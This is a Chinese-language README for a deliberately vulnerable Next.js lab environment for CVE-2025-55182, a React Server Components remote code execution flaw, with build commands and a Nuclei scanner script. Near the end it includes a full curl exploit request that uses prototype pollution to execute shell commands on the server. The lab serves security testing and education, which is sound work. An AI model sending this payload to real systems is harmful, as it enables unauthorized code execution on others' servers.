一个用于CVE-2025-55182的容器化测试环境,该漏洞是React服务器组件中的一个严重(CVSS 10.0)远程代码执行漏洞。
一个针对 CVE-2025-55182 的容器化测试环境,该漏洞是 React Server Components 中的一个严重(CVSS 10.0)远程代码执行漏洞。
此环境有意存在漏洞,仅应用于:
请勿:
React 包:
react-server-dom-webpack:19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel:19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack:19.0.0, 19.1.0, 19.1.1, 19.2.0Next.js:
React: 19.0.1, 19.1.2, 19.2.1 Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
# 构建并启动有漏洞的环境
podman compose up --build -d
# 检查是否运行
curl http://localhost:3000/api/status
# 查看日志
podman logs -f react2shell-vuln
# 停止
podman compose down
# 构建并启动有漏洞的环境
docker-compose up --build -d
# 访问应用程序 http://localhost:3000
.
├── README.md # 本文件
├── Dockerfile # 容器构建说明
├── Dockerfile.dev # 含热重载的开发容器
├── docker-compose.yml # Docker/Podman Compose 配置
├── CVE-2025-55182.yaml # Nuclei 扫描器模板
├── scan.sh # 通用 Nuclei 扫描器脚本
├── scan-results/ # 扫描输出目录
└── vulnerable-app/ # 有漏洞的 Next.js 应用程序
├── package.json # 依赖项(有漏洞的版本)
├── next.config.js # Next.js 配置
├── tsconfig.json # TypeScript 配置
└── app/ # App Router 页面和组件
├── layout.tsx # 根布局
├── page.tsx # 包含 Server Components 的主页面
├── globals.css # 样式
├── actions.ts # Server Actions
├── api/status/ # 状态 API 端点
└── components/ # React 组件
如果你没有模板,请从官方 nuclei-templates 仓库下载:
curl -o CVE-2025-55182.yaml https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-55182.yaml
附带的 scan.sh 是一个通用的 Nuclei 容器扫描器,适用于 Docker 和 Podman。
# 扫描本地有漏洞的应用程序
./scan.sh -u http://host.docker.internal:3000 -t CVE-2025-55182.yaml -v
# 扫描任意目标
./scan.sh -u https://example.com -t CVE-2025-55182.yaml
# 使用所有 Nuclei 模板扫描
./scan.sh -u https://example.com
# 从文件扫描多个目标
./scan.sh -l targets.txt -t CVE-2025-55182.yaml
# 按严重性过滤
./scan.sh -u https://example.com -s critical,high
# JSON 输出
./scan.sh -u https://example.com -t CVE-2025-55182.yaml -j
podman run --rm \
-v "$(pwd)/CVE-2025-55182.yaml:/templates/CVE-2025-55182.yaml:ro" \
docker.io/projectdiscovery/nuclei:latest \
-t /templates/CVE-2025-55182.yaml \
-u "http://host.docker.internal:3000" \
-v
容器运行后:
http://localhost:3000http://localhost:3000/api/status注意: 该漏洞涉及 RSC 协议中的不安全反序列化。Nuclei 模板针对此特定攻击向量进行测试。
要测试已修补版本,请修改 vulnerable-app/package.json:
{
"dependencies": {
"next": "15.5.7",
"react": "^19.1.2",
"react-dom": "^19.1.2"
}
}
然后重新构建:
# Podman
podman compose down
podman compose up --build -d
# Docker
docker-compose down
docker-compose up --build
此测试环境仅用于教育和安全研究目的。维护者不对任何滥用此软件的行为负责。在测试安全漏洞之前,请务必获得适当的授权。
curl -X POST http://localhost:3000 \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
-H "X-Nextjs-Request-Id: test123" \
--data-binary $'------WebKitFormBoundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B1337\\"}",
"_response": {
"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary--' \
-i 2>&1 | grep -i "x-action-redirect"
| 选项 | 描述 |
|---|
-u, --url <url> | 单个目标 URL 进行扫描 |
-l, --list <file> | 包含目标 URL 列表的文件 |
-t, --template <file> | 自定义模板文件或目录 |
-o, --output <dir> | 输出目录(默认:./scan-results) |
-s, --severity <level> | 过滤:info, low, medium, high, critical |
-r, --rate-limit <n> | 每秒最大请求数 |
-j, --json | 以 JSON 格式输出结果 |
-v, --verbose | 详细输出 |
-h, --help | 显示帮助信息 |